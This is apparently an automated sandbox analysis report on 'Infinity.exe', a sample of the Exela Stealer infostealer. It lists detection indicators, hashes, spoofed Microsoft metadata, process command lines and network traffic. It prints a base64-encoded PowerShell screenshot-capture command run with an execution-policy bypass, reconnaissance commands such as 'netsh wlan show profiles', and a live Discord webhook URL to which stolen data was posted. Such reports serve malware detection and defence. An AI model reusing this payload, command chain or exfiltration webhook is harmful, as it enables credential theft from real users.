File name:

Infinity.exe

Full analysis: https://app.any.run/tasks/53ca68e1-b858-4f60-90ea-746e742e7703
Verdict: Malicious activity
Threats:

Exela Stealer is an infostealer malware written in Python. It is capable of collecting a wide range of sensitive information from compromised systems and exfiltrating it to attackers over Discord. It is frequently used to steal browser data, and obtain session files from various applications, including gaming platforms, social media platforms, and messaging apps.

Malware Trends Tracker     >>>
Analysis date: February 06, 2025, 22:26:50
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
stealer
python
exela
screenshot
discord
pyinstaller
susp-powershell
ims-api
generic
discordgrabber
growtopia
upx
rust
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections
MD5:

84B29DC904C2E7F624E9401B66D78704

SHA1:

D7E9C010F945905408E084394DC93C3620DC20A2

SHA256:

B0C852BB64AB08B015CE82333AEB44A5F9A5828CB13C059E497ADF99CC417E70

SSDEEP:

98304:3J30tg3RDx6IrrLl90v+XHVFRSmd3xIW2nGqqMAA8VH8Be/q/Ks7mVx/KW/7bxR4:ZlgoFxvfA3XovcBNUaio

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • Infinity.exe (PID: 6500)

    • Steals credentials from Web Browsers

      • Infinity.exe (PID: 6500)

    • Actions looks like stealing of personal data

      • Infinity.exe (PID: 6500)

    • ExelaStealer has been detected

      • Infinity.exe (PID: 6500)

    • Starts NET.EXE to view/add/change user profiles

      • cmd.exe (PID: 5536)
      • net.exe (PID: 6580)
      • net.exe (PID: 6996)
      • net.exe (PID: 7028)

    • Starts NET.EXE to view/change users localgroup

      • cmd.exe (PID: 5536)
      • net.exe (PID: 6748)
      • net.exe (PID: 6892)

    • DISCORDGRABBER has been detected (YARA)

      • Infinity.exe (PID: 6500)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1480)

    • GROWTOPIA has been detected (YARA)

      • Infinity.exe (PID: 6500)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 3140)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)
      • csc.exe (PID: 6988)

    • Get information on the list of running processes

      • cmd.exe (PID: 6668)
      • Infinity.exe (PID: 6500)
      • cmd.exe (PID: 7104)
      • cmd.exe (PID: 3608)
      • cmd.exe (PID: 5536)

    • Uses WMIC.EXE to obtain Windows Installer data

      • cmd.exe (PID: 6660)
      • cmd.exe (PID: 3988)
      • cmd.exe (PID: 4548)

    • Process drops legitimate windows executable

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)

    • Process drops python dynamic module

      • Infinity.exe (PID: 6476)

    • The process drops C-runtime libraries

      • Infinity.exe (PID: 6476)

    • Starts a Microsoft application from unusual location

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)

    • Application launched itself

      • Infinity.exe (PID: 6476)
      • cmd.exe (PID: 3612)
      • cmd.exe (PID: 5792)

    • Accesses product unique identifier via WMI (SCRIPT)

      • WMIC.exe (PID: 6788)
      • WMIC.exe (PID: 5640)
      • WMIC.exe (PID: 364)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 7016)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 5792)
      • cmd.exe (PID: 3612)
      • Infinity.exe (PID: 6500)

    • Starts application with an unusual extension

      • cmd.exe (PID: 4128)
      • cmd.exe (PID: 4536)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1328)
      • cmd.exe (PID: 3140)

    • Checks for external IP

      • Infinity.exe (PID: 6500)
      • svchost.exe (PID: 2192)

    • Uses WMIC.EXE to obtain local storage devices information

      • cmd.exe (PID: 5536)

    • Uses QUSER.EXE to read information about current user sessions

      • query.exe (PID: 6920)

    • Uses NETSH.EXE to obtain data on the network

      • cmd.exe (PID: 5788)

    • Uses SYSTEMINFO.EXE to read the environment

      • cmd.exe (PID: 5536)

    • Uses WMIC.EXE to obtain commands that are run when users log in

      • cmd.exe (PID: 5536)

    • Process uses IPCONFIG to discover network configuration

      • cmd.exe (PID: 5536)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • Infinity.exe (PID: 6500)

    • Uses ROUTE.EXE to obtain the routing table information

      • cmd.exe (PID: 5536)

    • Windows service management via SC.EXE

      • sc.exe (PID: 4504)

    • Suspicious use of NETSH.EXE

      • cmd.exe (PID: 5536)

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 3140)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 3140)

    • Process uses ARP to discover network configuration

      • cmd.exe (PID: 5536)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 5536)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 6988)

    • Loads Python modules

      • Infinity.exe (PID: 6500)

    • Captures screenshot (POWERSHELL)

      • powershell.exe (PID: 1480)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 3140)

  • INFO

    • The sample compiled with english language support

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)

    • Checks supported languages

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)
      • chcp.com (PID: 3544)
      • chcp.com (PID: 3808)
      • cvtres.exe (PID: 5556)
      • csc.exe (PID: 6988)

    • Reads the computer name

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)

    • Create files in a temporary directory

      • Infinity.exe (PID: 6476)
      • csc.exe (PID: 6988)
      • cvtres.exe (PID: 5556)
      • Infinity.exe (PID: 6500)

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 6788)
      • WMIC.exe (PID: 6636)
      • WMIC.exe (PID: 7072)
      • WMIC.exe (PID: 5640)
      • WMIC.exe (PID: 364)

    • Creates files or folders in the user directory

      • Infinity.exe (PID: 6500)

    • Changes the display of characters in the console

      • cmd.exe (PID: 4128)
      • cmd.exe (PID: 4536)

    • The Powershell gets current clipboard

      • powershell.exe (PID: 3532)

    • PyInstaller has been detected (YARA)

      • Infinity.exe (PID: 6476)
      • Infinity.exe (PID: 6500)

    • Reads the time zone

      • net1.exe (PID: 6736)
      • net1.exe (PID: 7092)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • Infinity.exe (PID: 6500)

    • Prints a route via ROUTE.EXE

      • ROUTE.EXE (PID: 7148)

    • Application based on Rust

      • Infinity.exe (PID: 6500)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 6988)
      • Infinity.exe (PID: 6500)

    • Checks operating system version

      • Infinity.exe (PID: 6500)

    • UPX packer has been detected

      • Infinity.exe (PID: 6500)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

ims-api

(PID) Process(6500) Infinity.exe
Discord-Webhook-Tokens (1)1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
Discord-Info-Links
1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
Get Webhook Infohttps://discord.com/api/webhooks/1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:02:06 11:49:12+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.41
CodeSize: 172032
InitializedDataSize: 94208
UninitializedDataSize: -
EntryPoint: 0xce20
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 10.0.19041.746
ProductVersionNumber: 10.0.19041.746
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Dynamic link library
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Microsoft Corporation
FileDescription: Infinity Services
FileVersion: 10.0.19041.746 (WinBuild.160101.0800)
InternalName: Infinity.exe
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFileName: Infinity.exe
ProductName: Microsoft® Windows® Operating System
ProductVersion: 10.0.19041.746
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
190
Monitored processes
72
Malicious processes
3
Suspicious processes
2

Behavior graph

Click at the process to see the details
start infinity.exe #DISCORDGRABBER infinity.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs conhost.exe no specs tasklist.exe no specs wmic.exe no specs cmd.exe no specs conhost.exe no specs attrib.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs tasklist.exe no specs cmd.exe no specs chcp.com no specs chcp.com no specs powershell.exe no specs svchost.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs netsh.exe no specs systeminfo.exe no specs tiworker.exe no specs hostname.exe no specs wmic.exe no specs net.exe no specs net1.exe no specs query.exe no specs quser.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs wmic.exe no specs tasklist.exe no specs ipconfig.exe no specs route.exe no specs arp.exe no specs netstat.exe no specs sc.exe no specs netsh.exe no specs netsh.exe no specs cmd.exe no specs conhost.exe no specs wmic.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs cmd.exe no specs conhost.exe no specs wmic.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
364wmic csproduct get uuidC:\Windows\System32\wbem\WMIC.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
1064netsh wlan show profilesC:\Windows\System32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
1328C:\WINDOWS\system32\cmd.exe /c "powershell.exe Get-Clipboard"C:\Windows\System32\cmd.exe—Infinity.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
1480powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
2008hostname C:\Windows\System32\HOSTNAME.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Hostname APP
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\hostname.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\napinsp.dll
2072netsh firewall show state C:\Windows\System32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2928\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3060netstat -ano C:\Windows\System32\NETSTAT.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Netstat Command
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\netstat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\snmpapi.dll
3140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
23 461
Read events
23 459
Write events
2
Delete events
0

Modification events

(PID) Process:(3996) TiWorker.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing
Operation:writeName:SessionIdHigh
Value:
31160550
(PID) Process:(3996) TiWorker.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing
Operation:writeName:SessionIdLow
Value:
Executable files
36
Suspicious files
38
Text files
27
Unknown types
0

Dropped files

PID
Process
Filename
Type
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_ctypes.pydexecutable
MD5:B1F12F4BFC0BD49A6646A0786BC5BC00
SHA256:1FE61645ED626FC1DEC56B2E90E8E551066A7FF86EDBD67B41CB92211358F3D7
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_cffi_backend.cp310-win_amd64.pydexecutable
MD5:7727212E7BDBF63B1A39FB7FAAD24265
SHA256:B0116303E1E903D6EB02A69D05879F38AF1640813F4B110CB733FFFF6E4E985C
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_lzma.pydexecutable
MD5:95BADB08CD77E563C9753FADC39A34DD
SHA256:5545627B465D780B6107680922EF44144A22939DD406DEAE44858B79747E301A
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\VCRUNTIME140.dllexecutable
MD5:11D9AC94E8CB17BD23DEA89F8E757F18
SHA256:E1D6F78A72836EA120BD27A33AE89CBDC3F3CA7D9D0231AAA3AAC91996D2FA4E
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_decimal.pydexecutable
MD5:B7F498DA5AEC35140A6D928A8F792911
SHA256:B15F0DC3CE6955336162C9428077DCEDFA1C52E60296251521819F3239C26EE8
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_asyncio.pydexecutable
MD5:480D3F4496E16D54BB5313D206164134
SHA256:568FB5C3D9B170CE1081AD12818B9A12F44AB1577449425A3EF30C2EFBEE613D
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_multiprocessing.pydexecutable
MD5:28F6FCC0B7BB10A45FF1370C9E1B9561
SHA256:6DD33D49554EE61490725EA2C9129C15544791AB7A65FB523CC9B4F88D38744B
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_overlapped.pydexecutable
MD5:745706AB482FE9C9F92383292F121072
SHA256:4D98E7D1B74BD209F8C66E1A276F60B470F6A5D6F519F76A91EB75BE157A903D
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_hashlib.pydexecutable
MD5:31DFA2CAAEE02CC38ADF4897B192D6D1
SHA256:DC045AC7D4BDE60B0F122D307FCD2BBAF5E1261A280C4FB67CFC43DE5C0C2A0F
6476Infinity.exeC:\Users\admin\AppData\Local\Temp\_MEI64762\_sqlite3.pydexecutable
MD5:1DBEC8753E5CD062CD71A8BB294F28F9
SHA256:6D95D41A36B5C9E3A895EFF91149978AA383B6A8617D542ACCEF2080737C3CAD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
26
DNS requests
12
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.18:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3220
svchost.exe
GET
200
23.48.23.18:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6500
Infinity.exe
GET
200
208.95.112.1:80
http://ip-api.com/json
unknown
—
—
whitelisted
—
—
GET
404
45.112.123.126:443
https://api.gofile.io/getServer
unknown
text
14 b
whitelisted
—
—
POST
404
162.159.128.233:443
https://discord.com/api/webhooks/1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
unknown
—
—
whitelisted
—
—
POST
404
162.159.138.232:443
https://discord.com/api/webhooks/1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
unknown
binary
45 b
whitelisted
—
—
POST
404
162.159.128.233:443
https://discord.com/api/webhooks/1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
unknown
binary
45 b
whitelisted
—
—
POST
200
45.112.123.227:443
https://store1.gofile.io/uploadFile
unknown
binary
442 b
whitelisted
—
—
POST
404
162.159.136.232:443
https://discord.com/api/webhooks/1337013960460861530/xR8z94mEjnq1Nkw-7dJ0Hkii5A_lVS1lryyizVaTkoecVWKJOXpliNRkWQcqDyCA3iSb
unknown
binary
45 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
104.126.37.128:443
www.bing.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3220
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.18:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3220
svchost.exe
23.48.23.18:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
www.bing.com
  • 104.126.37.128
  • 104.126.37.131
  • 104.126.37.154
  • 104.126.37.139
  • 104.126.37.146
  • 104.126.37.130
  • 104.126.37.186
  • 104.126.37.153
  • 104.126.37.123
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 20.73.194.208
whitelisted
google.com
  • 142.250.184.238
whitelisted
crl.microsoft.com
  • 23.48.23.18
  • 23.48.23.30
  • 23.48.23.32
  • 23.48.23.37
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
ip-api.com
  • 208.95.112.1
whitelisted
discord.com
  • 162.159.128.233
  • 162.159.137.232
  • 162.159.136.232
  • 162.159.138.232
  • 162.159.135.232
whitelisted
api.gofile.io
  • 45.112.123.126
whitelisted
